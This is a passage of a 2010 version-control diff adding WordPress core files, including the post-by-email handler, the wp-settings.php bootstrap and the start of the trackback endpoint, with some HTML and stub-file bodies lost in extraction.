preg_match('/Content-Type: /i', $line) ) { + $content_type = trim($line); + $content_type = substr($content_type, 14, strlen($content_type) - 14); + $content_type = explode(';', $content_type); + if ( ! empty( $content_type[1] ) ) { + $charset = explode('=', $content_type[1]); + $charset = ( ! empty( $charset[1] ) ) ? trim($charset[1]) : ''; + } + $content_type = $content_type[0]; + } + if ( preg_match('/Content-Transfer-Encoding: /i', $line) ) { + $content_transfer_encoding = trim($line); + $content_transfer_encoding = substr($content_transfer_encoding, 27, strlen($content_transfer_encoding) - 27); + $content_transfer_encoding = explode(';', $content_transfer_encoding); + $content_transfer_encoding = $content_transfer_encoding[0]; + } + if ( ( $content_type == 'multipart/alternative' ) && ( false !== strpos($line, 'boundary="') ) && ( '' == $boundary ) ) { + $boundary = trim($line); + $boundary = explode('"', $boundary); + $boundary = $boundary[1]; + } + if (preg_match('/Subject: /i', $line)) { + $subject = trim($line); + $subject = substr($subject, 9, strlen($subject) - 9); + // Captures any text in the subject before $phone_delim as the subject + if ( function_exists('iconv_mime_decode') ) { + $subject = iconv_mime_decode($subject, 2, get_option('blog_charset')); + } else { + $subject = wp_iso_descrambler($subject); + } + $subject = explode($phone_delim, $subject); + $subject = $subject[0]; + } + + // Set the author using the email address (From or Reply-To, the last used) + // otherwise use the site admin + if ( preg_match('/(From|Reply-To): /', $line) ) { + if ( preg_match('|[a-z0-9_.-]+@[a-z0-9_.-]+(?!.*<)|i', $line, $matches) ) + $author = $matches[0]; + else + $author = trim($line); + $author = sanitize_email($author); + if ( is_email($author) ) { + echo '

    ' . sprintf(__('Author is %s'), $author) . '

    '; + $userdata = get_user_by_email($author); + if ( empty($userdata) ) { + $author_found = false; + } else { + $post_author = $userdata->ID; + $author_found = true; + } + } else { + $author_found = false; + } + } + + if (preg_match('/Date: /i', $line)) { // of the form '20 Mar 2002 20:32:37' + $ddate = trim($line); + $ddate = str_replace('Date: ', '', $ddate); + if (strpos($ddate, ',')) { + $ddate = trim(substr($ddate, strpos($ddate, ',') + 1, strlen($ddate))); + } + $date_arr = explode(' ', $ddate); + $date_time = explode(':', $date_arr[3]); + + $ddate_H = $date_time[0]; + $ddate_i = $date_time[1]; + $ddate_s = $date_time[2]; + + $ddate_m = $date_arr[1]; + $ddate_d = $date_arr[0]; + $ddate_Y = $date_arr[2]; + for ( $j = 0; $j < 12; $j++ ) { + if ( $ddate_m == $dmonths[$j] ) { + $ddate_m = $j+1; + } + } + + $time_zn = intval($date_arr[4]) * 36; + $ddate_U = gmmktime($ddate_H, $ddate_i, $ddate_s, $ddate_m, $ddate_d, $ddate_Y); + $ddate_U = $ddate_U - $time_zn; + $post_date = gmdate('Y-m-d H:i:s', $ddate_U + $time_difference); + $post_date_gmt = gmdate('Y-m-d H:i:s', $ddate_U); + } + } + } + + // Set $post_status based on $author_found and on author's publish_posts capability + if ( $author_found ) { + $user = new WP_User($post_author); + $post_status = ( $user->has_cap('publish_posts') ) ? 'publish' : 'pending'; + } else { + // Author not found in DB, set status to pending. Author already set to admin. + $post_status = 'pending'; + } + + $subject = trim($subject); + + if ( $content_type == 'multipart/alternative' ) { + $content = explode('--'.$boundary, $content); + $content = $content[2]; + // match case-insensitive content-transfer-encoding + if ( preg_match( '/Content-Transfer-Encoding: quoted-printable/i', $content, $delim) ) { + $content = explode($delim[0], $content); + $content = $content[1]; + } + $content = strip_tags($content, '


    '); + } + $content = trim($content); + + //Give Post-By-Email extending plugins full access to the content + //Either the raw content or the content of the last quoted-printable section + $content = apply_filters('wp_mail_original_content', $content); + + if ( false !== stripos($content_transfer_encoding, "quoted-printable") ) { + $content = quoted_printable_decode($content); + } + + if ( function_exists('iconv') && ! empty( $charset ) ) { + $content = iconv($charset, get_option('blog_charset'), $content); + } + + // Captures any text in the body after $phone_delim as the body + $content = explode($phone_delim, $content); + $content = empty( $content[1] ) ? $content[0] : $content[1]; + + $content = trim($content); + + $post_content = apply_filters('phone_content', $content); + + $post_title = xmlrpc_getposttitle($content); + + if ($post_title == '') $post_title = $subject; + + $post_category = array(get_option('default_email_category')); + + $post_data = compact('post_content','post_title','post_date','post_date_gmt','post_author','post_category', 'post_status'); + $post_data = add_magic_quotes($post_data); + + $post_ID = wp_insert_post($post_data); + if ( is_wp_error( $post_ID ) ) + echo "\n" . $post_ID->get_error_message(); + + // We couldn't post, for whatever reason. Better move forward to the next email. + if ( empty( $post_ID ) ) + continue; + + do_action('publish_phone', $post_ID); + + echo "\n

    " . sprintf(__('Author: %s'), esc_html($post_author)) . '

    '; + echo "\n

    " . sprintf(__('Posted title: %s'), esc_html($post_title)) . '

    '; + + if(!$pop3->delete($i)) { + echo '

    ' . sprintf(__('Oops: %s'), esc_html($pop3->ERROR)) . '

    '; + $pop3->reset(); + exit; + } else { + echo '

    ' . sprintf(__('Mission complete. Message %s deleted.'), $i) . '

    '; + } + +} + +$pop3->quit(); + +?> diff -r 0d9a58d2c515 -r 0d28b7c10758 web/wp-pass.php --- /dev/null Thu Jan 01 00:00:00 1970 +0000 +++ b/web/wp-pass.php Fri Mar 12 13:29:04 2010 +0000 @@ -0,0 +1,19 @@ + \ No newline at end of file diff -r 0d9a58d2c515 -r 0d28b7c10758 web/wp-rdf.php --- /dev/null Thu Jan 01 00:00:00 1970 +0000 +++ b/web/wp-rdf.php Fri Mar 12 13:29:04 2010 +0000 @@ -0,0 +1,12 @@ + \ No newline at end of file diff -r 0d9a58d2c515 -r 0d28b7c10758 web/wp-register.php --- /dev/null Thu Jan 01 00:00:00 1970 +0000 +++ b/web/wp-register.php Fri Mar 12 13:29:04 2010 +0000 @@ -0,0 +1,15 @@ + \ No newline at end of file diff -r 0d9a58d2c515 -r 0d28b7c10758 web/wp-rss.php --- /dev/null Thu Jan 01 00:00:00 1970 +0000 +++ b/web/wp-rss.php Fri Mar 12 13:29:04 2010 +0000 @@ -0,0 +1,12 @@ + \ No newline at end of file diff -r 0d9a58d2c515 -r 0d28b7c10758 web/wp-rss2.php --- /dev/null Thu Jan 01 00:00:00 1970 +0000 +++ b/web/wp-rss2.php Fri Mar 12 13:29:04 2010 +0000 @@ -0,0 +1,12 @@ + \ No newline at end of file diff -r 0d9a58d2c515 -r 0d28b7c10758 web/wp-settings.php --- /dev/null Thu Jan 01 00:00:00 1970 +0000 +++ b/web/wp-settings.php Fri Mar 12 13:29:04 2010 +0000 @@ -0,0 +1,739 @@ + $v ) + if ( !in_array($k, $noUnset) && isset($GLOBALS[$k]) ) { + $GLOBALS[$k] = NULL; + unset($GLOBALS[$k]); + } +} + +wp_unregister_GLOBALS(); + +unset( $wp_filter, $cache_lastcommentmodified, $cache_lastpostdate ); + +/** + * The $blog_id global, which you can change in the config allows you to create a simple + * multiple blog installation using just one WordPress and changing $blog_id around. + * + * @global int $blog_id + * @since 2.0.0 + */ +if ( ! isset($blog_id) ) + $blog_id = 1; + +// Fix for IIS when running with PHP ISAPI +if ( empty( $_SERVER['REQUEST_URI'] ) || ( php_sapi_name() != 'cgi-fcgi' && preg_match( '/^Microsoft-IIS\//', $_SERVER['SERVER_SOFTWARE'] ) ) ) { + + // IIS Mod-Rewrite + if (isset($_SERVER['HTTP_X_ORIGINAL_URL'])) { + $_SERVER['REQUEST_URI'] = $_SERVER['HTTP_X_ORIGINAL_URL']; + } + // IIS Isapi_Rewrite + else if (isset($_SERVER['HTTP_X_REWRITE_URL'])) { + $_SERVER['REQUEST_URI'] = $_SERVER['HTTP_X_REWRITE_URL']; + } + else + { + // Use ORIG_PATH_INFO if there is no PATH_INFO + if ( !isset($_SERVER['PATH_INFO']) && isset($_SERVER['ORIG_PATH_INFO']) ) + $_SERVER['PATH_INFO'] = $_SERVER['ORIG_PATH_INFO']; + + // Some IIS + PHP configurations puts the script-name in the path-info (No need to append it twice) + if ( isset($_SERVER['PATH_INFO']) ) { + if ( $_SERVER['PATH_INFO'] == $_SERVER['SCRIPT_NAME'] ) + $_SERVER['REQUEST_URI'] = $_SERVER['PATH_INFO']; + else + $_SERVER['REQUEST_URI'] = $_SERVER['SCRIPT_NAME'] . $_SERVER['PATH_INFO']; + } + + // Append the query string if it exists and isn't null + if (isset($_SERVER['QUERY_STRING']) && !empty($_SERVER['QUERY_STRING'])) { + $_SERVER['REQUEST_URI'] .= '?' . $_SERVER['QUERY_STRING']; + } + } +} + +// Fix for PHP as CGI hosts that set SCRIPT_FILENAME to something ending in php.cgi for all requests +if ( isset($_SERVER['SCRIPT_FILENAME']) && ( strpos($_SERVER['SCRIPT_FILENAME'], 'php.cgi') == strlen($_SERVER['SCRIPT_FILENAME']) - 7 ) ) + $_SERVER['SCRIPT_FILENAME'] = $_SERVER['PATH_TRANSLATED']; + +// Fix for Dreamhost and other PHP as CGI hosts +if (strpos($_SERVER['SCRIPT_NAME'], 'php.cgi') !== false) + unset($_SERVER['PATH_INFO']); + +// Fix empty PHP_SELF +$PHP_SELF = $_SERVER['PHP_SELF']; +if ( empty($PHP_SELF) ) + $_SERVER['PHP_SELF'] = $PHP_SELF = preg_replace("/(\?.*)?$/",'',$_SERVER["REQUEST_URI"]); + +if ( version_compare( '4.3', phpversion(), '>' ) ) { + die( sprintf( /*WP_I18N_OLD_PHP*/'Your server is running PHP version %s but WordPress requires at least 4.3.'/*/WP_I18N_OLD_PHP*/, phpversion() ) ); +} + +if ( !defined('WP_CONTENT_DIR') ) + define( 'WP_CONTENT_DIR', ABSPATH . 'wp-content' ); // no trailing slash, full paths only - WP_CONTENT_URL is defined further down + +if ( file_exists(ABSPATH . '.maintenance') && !defined('WP_INSTALLING') ) { + include(ABSPATH . '.maintenance'); + // If the $upgrading timestamp is older than 10 minutes, don't die. + if ( ( time() - $upgrading ) < 600 ) { + if ( file_exists( WP_CONTENT_DIR . '/maintenance.php' ) ) { + require_once( WP_CONTENT_DIR . '/maintenance.php' ); + die(); + } + + $protocol = $_SERVER["SERVER_PROTOCOL"]; + if ( 'HTTP/1.1' != $protocol && 'HTTP/1.0' != $protocol ) + $protocol = 'HTTP/1.0'; + header( "$protocol 503 Service Unavailable", true, 503 ); + header( 'Content-Type: text/html; charset=utf-8' ); + header( 'Retry-After: 600' ); +?> + + + + + Maintenance + + + +

    Briefly unavailable for scheduled maintenance. Check back in a minute.

    + + + + * $nTimePageTookToExecute = timer_stop(); + * echo $nTimePageTookToExecute; + * + * + * Or instead, you can do: + * + * timer_stop(1); + * + * which will do what the above does. If you need the result, you can assign it to a variable, but + * most cases, you only need to echo it. + * + * @since 0.71 + * @global int $timestart Seconds and Microseconds added together from when timer_start() is called + * @global int $timeend Seconds and Microseconds added together from when function is called + * + * @param int $display Use '0' or null to not echo anything and 1 to echo the total time + * @param int $precision The amount of digits from the right of the decimal to display. Default is 3. + * @return float The "second.microsecond" finished time calculation + */ +function timer_stop($display = 0, $precision = 3) { //if called like timer_stop(1), will echo $timetotal + global $timestart, $timeend; + $mtime = microtime(); + $mtime = explode(' ',$mtime); + $mtime = $mtime[1] + $mtime[0]; + $timeend = $mtime; + $timetotal = $timeend-$timestart; + $r = ( function_exists('number_format_i18n') ) ? number_format_i18n($timetotal, $precision) : number_format($timetotal, $precision); + if ( $display ) + echo $r; + return $r; +} +timer_start(); + +// Add define('WP_DEBUG', true); to wp-config.php to enable display of notices during development. +if ( defined('WP_DEBUG') && WP_DEBUG ) { + if ( defined('E_DEPRECATED') ) + error_reporting(E_ALL & ~E_DEPRECATED & ~E_STRICT); + else + error_reporting(E_ALL); + // Add define('WP_DEBUG_DISPLAY', false); to wp-config.php to use the globally configured setting for display_errors and not force it to On + if ( ! defined('WP_DEBUG_DISPLAY') || WP_DEBUG_DISPLAY ) + ini_set('display_errors', 1); + // Add define('WP_DEBUG_LOG', true); to enable php debug logging to WP_CONTENT_DIR/debug.log + if ( defined('WP_DEBUG_LOG') && WP_DEBUG_LOG ) { + ini_set('log_errors', 1); + ini_set('error_log', WP_CONTENT_DIR . '/debug.log'); + } +} else { + define('WP_DEBUG', false); + if ( defined('E_RECOVERABLE_ERROR') ) + error_reporting(E_ERROR | E_WARNING | E_PARSE | E_USER_ERROR | E_USER_WARNING | E_RECOVERABLE_ERROR); + else + error_reporting(E_ERROR | E_WARNING | E_PARSE | E_USER_ERROR | E_USER_WARNING); +} + +// For an advanced caching plugin to use, static because you would only want one +if ( defined('WP_CACHE') && WP_CACHE ) + @include WP_CONTENT_DIR . '/advanced-cache.php'; + +/** + * Private + */ +if ( !defined('MEDIA_TRASH') ) + define('MEDIA_TRASH', false); + +/** + * Stores the location of the WordPress directory of functions, classes, and core content. + * + * @since 1.0.0 + */ +define('WPINC', 'wp-includes'); + +if ( !defined('WP_LANG_DIR') ) { + /** + * Stores the location of the language directory. First looks for language folder in WP_CONTENT_DIR + * and uses that folder if it exists. Or it uses the "languages" folder in WPINC. + * + * @since 2.1.0 + */ + if ( file_exists(WP_CONTENT_DIR . '/languages') && @is_dir(WP_CONTENT_DIR . '/languages') ) { + define('WP_LANG_DIR', WP_CONTENT_DIR . '/languages'); // no leading slash, no trailing slash, full path, not relative to ABSPATH + if (!defined('LANGDIR')) { + // Old static relative path maintained for limited backwards compatibility - won't work in some cases + define('LANGDIR', 'wp-content/languages'); + } + } else { + define('WP_LANG_DIR', ABSPATH . WPINC . '/languages'); // no leading slash, no trailing slash, full path, not relative to ABSPATH + if (!defined('LANGDIR')) { + // Old relative path maintained for backwards compatibility + define('LANGDIR', WPINC . '/languages'); + } + } +} + +require (ABSPATH . WPINC . '/compat.php'); +require (ABSPATH . WPINC . '/functions.php'); +require (ABSPATH . WPINC . '/classes.php'); + +require_wp_db(); + +if ( !empty($wpdb->error) ) + dead_db(); + +/** + * Format specifiers for DB columns. Columns not listed here default to %s. + * @since 2.8.0 + * @see wpdb:$field_types + * @see wpdb:prepare() + * @see wpdb:insert() + * @see wpdb:update() + */ +$wpdb->field_types = array( 'post_author' => '%d', 'post_parent' => '%d', 'menu_order' => '%d', 'term_id' => '%d', 'term_group' => '%d', 'term_taxonomy_id' => '%d', + 'parent' => '%d', 'count' => '%d','object_id' => '%d', 'term_order' => '%d', 'ID' => '%d', 'commment_ID' => '%d', 'comment_post_ID' => '%d', 'comment_parent' => '%d', + 'user_id' => '%d', 'link_id' => '%d', 'link_owner' => '%d', 'link_rating' => '%d', 'option_id' => '%d', 'blog_id' => '%d', 'meta_id' => '%d', 'post_id' => '%d', + 'user_status' => '%d', 'umeta_id' => '%d', 'comment_karma' => '%d', 'comment_count' => '%d'); + +$prefix = $wpdb->set_prefix($table_prefix); + +if ( is_wp_error($prefix) ) + wp_die(/*WP_I18N_BAD_PREFIX*/'ERROR: $table_prefix in wp-config.php can only contain numbers, letters, and underscores.'/*/WP_I18N_BAD_PREFIX*/); + +/** + * Copy an object. + * + * Returns a cloned copy of an object. + * + * @since 2.7.0 + * + * @param object $object The object to clone + * @return object The cloned object + */ +function wp_clone( $object ) { + static $can_clone; + if ( !isset( $can_clone ) ) { + $can_clone = version_compare( phpversion(), '5.0', '>=' ); + } + return $can_clone ? clone( $object ) : $object; +} + +/** + * Whether the current request is in WordPress admin Panel + * + * Does not inform on whether the user is an admin! Use capability checks to + * tell if the user should be accessing a section or not. + * + * @since 1.5.1 + * + * @return bool True if inside WordPress administration pages. + */ +function is_admin() { + if ( defined('WP_ADMIN') ) + return WP_ADMIN; + return false; +} + +if ( file_exists(WP_CONTENT_DIR . '/object-cache.php') ) { + require_once (WP_CONTENT_DIR . '/object-cache.php'); + $_wp_using_ext_object_cache = true; +} else { + require_once (ABSPATH . WPINC . '/cache.php'); + $_wp_using_ext_object_cache = false; +} + +wp_cache_init(); +if ( function_exists('wp_cache_add_global_groups') ) { + wp_cache_add_global_groups(array ('users', 'userlogins', 'usermeta', 'site-transient')); + wp_cache_add_non_persistent_groups(array( 'comment', 'counts', 'plugins' )); +} + +require (ABSPATH . WPINC . '/plugin.php'); +require (ABSPATH . WPINC . '/default-filters.php'); +include_once(ABSPATH . WPINC . '/pomo/mo.php'); +require_once (ABSPATH . WPINC . '/l10n.php'); + +if ( !is_blog_installed() && (strpos($_SERVER['PHP_SELF'], 'install.php') === false && !defined('WP_INSTALLING')) ) { + if ( defined('WP_SITEURL') ) + $link = WP_SITEURL . '/wp-admin/install.php'; + elseif (strpos($_SERVER['PHP_SELF'], 'wp-admin') !== false) + $link = preg_replace('|/wp-admin/?.*?$|', '/', $_SERVER['PHP_SELF']) . 'wp-admin/install.php'; + else + $link = preg_replace('|/[^/]+?$|', '/', $_SERVER['PHP_SELF']) . 'wp-admin/install.php'; + require_once(ABSPATH . WPINC . '/kses.php'); + require_once(ABSPATH . WPINC . '/pluggable.php'); + require_once(ABSPATH . WPINC . '/formatting.php'); + wp_redirect($link); + die(); // have to die here ~ Mark +} + +require (ABSPATH . WPINC . '/formatting.php'); +require (ABSPATH . WPINC . '/capabilities.php'); +require (ABSPATH . WPINC . '/query.php'); +require (ABSPATH . WPINC . '/theme.php'); +require (ABSPATH . WPINC . '/user.php'); +require (ABSPATH . WPINC . '/meta.php'); +require (ABSPATH . WPINC . '/general-template.php'); +require (ABSPATH . WPINC . '/link-template.php'); +require (ABSPATH . WPINC . '/author-template.php'); +require (ABSPATH . WPINC . '/post.php'); +require (ABSPATH . WPINC . '/post-template.php'); +require (ABSPATH . WPINC . '/category.php'); +require (ABSPATH . WPINC . '/category-template.php'); +require (ABSPATH . WPINC . '/comment.php'); +require (ABSPATH . WPINC . '/comment-template.php'); +require (ABSPATH . WPINC . '/rewrite.php'); +require (ABSPATH . WPINC . '/feed.php'); +require (ABSPATH . WPINC . '/bookmark.php'); +require (ABSPATH . WPINC . '/bookmark-template.php'); +require (ABSPATH . WPINC . '/kses.php'); +require (ABSPATH . WPINC . '/cron.php'); +require (ABSPATH . WPINC . '/version.php'); +require (ABSPATH . WPINC . '/deprecated.php'); +require (ABSPATH . WPINC . '/script-loader.php'); +require (ABSPATH . WPINC . '/taxonomy.php'); +require (ABSPATH . WPINC . '/update.php'); +require (ABSPATH . WPINC . '/canonical.php'); +require (ABSPATH . WPINC . '/shortcodes.php'); +require (ABSPATH . WPINC . '/media.php'); +require (ABSPATH . WPINC . '/http.php'); +require (ABSPATH . WPINC . '/widgets.php'); + +if ( !defined('WP_CONTENT_URL') ) + define( 'WP_CONTENT_URL', get_option('siteurl') . '/wp-content'); // full url - WP_CONTENT_DIR is defined further up + +/** + * Allows for the plugins directory to be moved from the default location. + * + * @since 2.6.0 + */ +if ( !defined('WP_PLUGIN_DIR') ) + define( 'WP_PLUGIN_DIR', WP_CONTENT_DIR . '/plugins' ); // full path, no trailing slash + +/** + * Allows for the plugins directory to be moved from the default location. + * + * @since 2.6.0 + */ +if ( !defined('WP_PLUGIN_URL') ) + define( 'WP_PLUGIN_URL', WP_CONTENT_URL . '/plugins' ); // full url, no trailing slash + +/** + * Allows for the plugins directory to be moved from the default location. + * + * @since 2.1.0 + */ +if ( !defined('PLUGINDIR') ) + define( 'PLUGINDIR', 'wp-content/plugins' ); // Relative to ABSPATH. For back compat. + +/** + * Allows for the mu-plugins directory to be moved from the default location. + * + * @since 2.8.0 + */ +if ( !defined('WPMU_PLUGIN_DIR') ) + define( 'WPMU_PLUGIN_DIR', WP_CONTENT_DIR . '/mu-plugins' ); // full path, no trailing slash + +/** + * Allows for the mu-plugins directory to be moved from the default location. + * + * @since 2.8.0 + */ +if ( !defined('WPMU_PLUGIN_URL') ) + define( 'WPMU_PLUGIN_URL', WP_CONTENT_URL . '/mu-plugins' ); // full url, no trailing slash + +/** + * Allows for the mu-plugins directory to be moved from the default location. + * + * @since 2.8.0 + */ +if ( !defined( 'MUPLUGINDIR' ) ) + define( 'MUPLUGINDIR', 'wp-content/mu-plugins' ); // Relative to ABSPATH. For back compat. + +if ( is_dir( WPMU_PLUGIN_DIR ) ) { + if ( $dh = opendir( WPMU_PLUGIN_DIR ) ) { + while ( ( $plugin = readdir( $dh ) ) !== false ) { + if ( substr( $plugin, -4 ) == '.php' ) { + include_once( WPMU_PLUGIN_DIR . '/' . $plugin ); + } + } + } +} +do_action('muplugins_loaded'); + +/** + * Used to guarantee unique hash cookies + * @since 1.5 + */ +define('COOKIEHASH', md5(get_option('siteurl'))); + +/** + * Should be exactly the same as the default value of SECRET_KEY in wp-config-sample.php + * @since 2.5.0 + */ +$wp_default_secret_key = 'put your unique phrase here'; + +/** + * It is possible to define this in wp-config.php + * @since 2.0.0 + */ +if ( !defined('USER_COOKIE') ) + define('USER_COOKIE', 'wordpressuser_' . COOKIEHASH); + +/** + * It is possible to define this in wp-config.php + * @since 2.0.0 + */ +if ( !defined('PASS_COOKIE') ) + define('PASS_COOKIE', 'wordpresspass_' . COOKIEHASH); + +/** + * It is possible to define this in wp-config.php + * @since 2.5.0 + */ +if ( !defined('AUTH_COOKIE') ) + define('AUTH_COOKIE', 'wordpress_' . COOKIEHASH); + +/** + * It is possible to define this in wp-config.php + * @since 2.6.0 + */ +if ( !defined('SECURE_AUTH_COOKIE') ) + define('SECURE_AUTH_COOKIE', 'wordpress_sec_' . COOKIEHASH); + +/** + * It is possible to define this in wp-config.php + * @since 2.6.0 + */ +if ( !defined('LOGGED_IN_COOKIE') ) + define('LOGGED_IN_COOKIE', 'wordpress_logged_in_' . COOKIEHASH); + +/** + * It is possible to define this in wp-config.php + * @since 2.3.0 + */ +if ( !defined('TEST_COOKIE') ) + define('TEST_COOKIE', 'wordpress_test_cookie'); + +/** + * It is possible to define this in wp-config.php + * @since 1.2.0 + */ +if ( !defined('COOKIEPATH') ) + define('COOKIEPATH', preg_replace('|https?://[^/]+|i', '', get_option('home') . '/' ) ); + +/** + * It is possible to define this in wp-config.php + * @since 1.5.0 + */ +if ( !defined('SITECOOKIEPATH') ) + define('SITECOOKIEPATH', preg_replace('|https?://[^/]+|i', '', get_option('siteurl') . '/' ) ); + +/** + * It is possible to define this in wp-config.php + * @since 2.6.0 + */ +if ( !defined('ADMIN_COOKIE_PATH') ) + define( 'ADMIN_COOKIE_PATH', SITECOOKIEPATH . 'wp-admin' ); + +/** + * It is possible to define this in wp-config.php + * @since 2.6.0 + */ +if ( !defined('PLUGINS_COOKIE_PATH') ) + define( 'PLUGINS_COOKIE_PATH', preg_replace('|https?://[^/]+|i', '', WP_PLUGIN_URL) ); + +/** + * It is possible to define this in wp-config.php + * @since 2.0.0 + */ +if ( !defined('COOKIE_DOMAIN') ) + define('COOKIE_DOMAIN', false); + +/** + * It is possible to define this in wp-config.php + * @since 2.6.0 + */ +if ( !defined('FORCE_SSL_ADMIN') ) + define('FORCE_SSL_ADMIN', false); +force_ssl_admin(FORCE_SSL_ADMIN); + +/** + * It is possible to define this in wp-config.php + * @since 2.6.0 + */ +if ( !defined('FORCE_SSL_LOGIN') ) + define('FORCE_SSL_LOGIN', false); +force_ssl_login(FORCE_SSL_LOGIN); + +/** + * It is possible to define this in wp-config.php + * @since 2.5.0 + */ +if ( !defined( 'AUTOSAVE_INTERVAL' ) ) + define( 'AUTOSAVE_INTERVAL', 60 ); + +/** + * It is possible to define this in wp-config.php + * @since 2.9.0 + */ +if ( !defined( 'EMPTY_TRASH_DAYS' ) ) + define( 'EMPTY_TRASH_DAYS', 30 ); + +require (ABSPATH . WPINC . '/vars.php'); + +// make taxonomies available to plugins and themes +// @plugin authors: warning: this gets registered again on the init hook +create_initial_taxonomies(); + +// Check for hacks file if the option is enabled +if ( get_option('hack_file') ) { + if ( file_exists(ABSPATH . 'my-hacks.php') ) + require(ABSPATH . 'my-hacks.php'); +} + +$current_plugins = apply_filters( 'active_plugins', get_option( 'active_plugins' ) ); +if ( is_array($current_plugins) && !defined('WP_INSTALLING') ) { + foreach ( $current_plugins as $plugin ) { + // check the $plugin filename + // Validate plugin filename + if ( validate_file($plugin) // $plugin must validate as file + || '.php' != substr($plugin, -4) // $plugin must end with '.php' + || !file_exists(WP_PLUGIN_DIR . '/' . $plugin) // $plugin must exist + ) + continue; + + include_once(WP_PLUGIN_DIR . '/' . $plugin); + } + unset($plugin); +} +unset($current_plugins); + +require (ABSPATH . WPINC . '/pluggable.php'); + +/* + * In most cases the default internal encoding is latin1, which is of no use, + * since we want to use the mb_ functions for utf-8 strings + */ +if (function_exists('mb_internal_encoding')) { + if (!@mb_internal_encoding(get_option('blog_charset'))) + mb_internal_encoding('UTF-8'); +} + + +if ( defined('WP_CACHE') && function_exists('wp_cache_postload') ) + wp_cache_postload(); + +do_action('plugins_loaded'); + +$default_constants = array( 'WP_POST_REVISIONS' => true ); +foreach ( $default_constants as $c => $v ) + @define( $c, $v ); // will fail if the constant is already defined +unset($default_constants, $c, $v); + +// If already slashed, strip. +if ( get_magic_quotes_gpc() ) { + $_GET = stripslashes_deep($_GET ); + $_POST = stripslashes_deep($_POST ); + $_COOKIE = stripslashes_deep($_COOKIE); +} + +// Escape with wpdb. +$_GET = add_magic_quotes($_GET ); +$_POST = add_magic_quotes($_POST ); +$_COOKIE = add_magic_quotes($_COOKIE); +$_SERVER = add_magic_quotes($_SERVER); + +// Force REQUEST to be GET + POST. If SERVER, COOKIE, or ENV are needed, use those superglobals directly. +$_REQUEST = array_merge($_GET, $_POST); + +do_action('sanitize_comment_cookies'); + +/** + * WordPress Query object + * @global object $wp_the_query + * @since 2.0.0 + */ +$wp_the_query =& new WP_Query(); + +/** + * Holds the reference to @see $wp_the_query + * Use this global for WordPress queries + * @global object $wp_query + * @since 1.5.0 + */ +$wp_query =& $wp_the_query; + +/** + * Holds the WordPress Rewrite object for creating pretty URLs + * @global object $wp_rewrite + * @since 1.5.0 + */ +$wp_rewrite =& new WP_Rewrite(); + +/** + * WordPress Object + * @global object $wp + * @since 2.0.0 + */ +$wp =& new WP(); + +/** + * WordPress Widget Factory Object + * @global object $wp_widget_factory + * @since 2.8.0 + */ +$wp_widget_factory =& new WP_Widget_Factory(); + +do_action('setup_theme'); + +/** + * Web Path to the current active template directory + * @since 1.5.0 + */ +define('TEMPLATEPATH', get_template_directory()); + +/** + * Web Path to the current active template stylesheet directory + * @since 2.1.0 + */ +define('STYLESHEETPATH', get_stylesheet_directory()); + +// Load the default text localization domain. +load_default_textdomain(); + +/** + * The locale of the blog + * @since 1.5.0 + */ +$locale = get_locale(); +$locale_file = WP_LANG_DIR . "/$locale.php"; +if ( is_readable($locale_file) ) + require_once($locale_file); + +// Pull in locale data after loading text domain. +require_once(ABSPATH . WPINC . '/locale.php'); + +/** + * WordPress Locale object for loading locale domain date and various strings. + * @global object $wp_locale + * @since 2.1.0 + */ +$wp_locale =& new WP_Locale(); + +// Load functions for active theme. +if ( TEMPLATEPATH !== STYLESHEETPATH && file_exists(STYLESHEETPATH . '/functions.php') ) + include(STYLESHEETPATH . '/functions.php'); +if ( file_exists(TEMPLATEPATH . '/functions.php') ) + include(TEMPLATEPATH . '/functions.php'); + +// Load in support for template functions which the theme supports +require_if_theme_supports( 'post-thumbnails', ABSPATH . WPINC . '/post-thumbnail-template.php' ); + +/** + * Runs just before PHP shuts down execution. + * + * @access private + * @since 1.2.0 + */ +function shutdown_action_hook() { + do_action('shutdown'); + wp_cache_close(); +} +register_shutdown_function('shutdown_action_hook'); + +$wp->init(); // Sets up current user. + +// Everything is loaded and initialized. +do_action('init'); + +?> diff -r 0d9a58d2c515 -r 0d28b7c10758 web/wp-trackback.php --- /dev/null Thu Jan 01 00:00:00 1970 +0000 +++ b/web/wp-trackback.php Fri Mar 12 13:29:04 2010 +0000 @@ -0,0 +1,111 @@ +\n"; + echo "\n"; + echo "1\n"; + echo "$error_message\n"; + echo ""; + die(); + } else { + echo '\n"; + echo "\n"; + echo "0\n"; + echo ""; + } +} + +// trackback is done by a POST +$request_array = 'HTTP_POST_VARS'; + +if ( !isset($_GET['tb_id']) || !$_GET['tb_id'] ) { + $tb_id = explode('/', $_SERVER['REQUEST_URI']); + $tb_id = intval( $tb_id[ count($tb_id) - 1 ] ); +} + +$tb_url = isset($_POST['url']) ? $_POST['url'] : ''; +$charset = isset($_POST['charset']) ? $_POST['charset'] : ''; + +// These three are stripslashed here so that they can be properly escaped after mb_convert_encoding() +$title = isset($_POST['title']) ? stripslashes($_POST['title']) : ''; +$excerpt = isset($_POST['excerpt']) ? stripslashes($_POST['excerpt']) : ''; +$blog_name = isset($_POST['blog_name']) ? stripslashes($_POST['blog_name']) : ''; + +if ($charset) + $charset = str_replace( array(',', ' '), '', strtoupper( trim($charset) ) ); +else + $charset = 'ASCII, UTF-8, ISO-8859-1, JIS, EUC-JP, SJIS'; + +// No valid uses for UTF-7 +if ( false !== strpos($charset, 'UTF-7') ) + die; + +if ( function_exists('mb_convert_encoding') ) { // For international trackbacks + $title = mb_convert_encoding($title, get_option('blog_charset'), $charset); + $excerpt = mb_convert_encoding($excerpt, get_option('blog_charset'), $charset); + $blog_name = mb_convert_encoding($blog_name, get_option('blog_charset'), $charset); +} + +// Now that mb_convert_encoding() has been given a swing, we need to escape these three +$title = $wpdb->escape($title); +$excerpt = $wpdb->escape($excerpt); +$blog_name = $wpdb->escape($blog_name); + +if ( is_single() || is_page() ) + $tb_id = $posts[0]->ID; + +if ( !isset($tb_id) || !intval( $tb_id ) ) + trackback_response(1, 'I really need an ID for this to work.'); + +if (empty($title) && empty($tb_url) && empty($blog_name)) { + // If it doesn't look like a trackback at all... + wp_redirect(get_permalink($tb_id)); + exit; +} + +if ( !empty($tb_url) && !empty($title) ) { + header('Content-Type: text/xml; charset=' . get_option('blog_charset') ); + + if ( !pings_open($tb_id) ) + trackback_response(1, 'Sorry, trackbacks are closed for this item.'); + + $title = wp_html_excerpt( $title, 250 ).'...'; + $excerpt = wp_html_excerpt( $excerpt, 252 ).'...'; + + $comment_post_ID = (int) $tb_id; + $comment_author = $blog_name; + $comment_author_email = ''; + $comment_author_url = $tb_url; + $comment_content = "$title\n\n$excerpt"; + $comment_type = 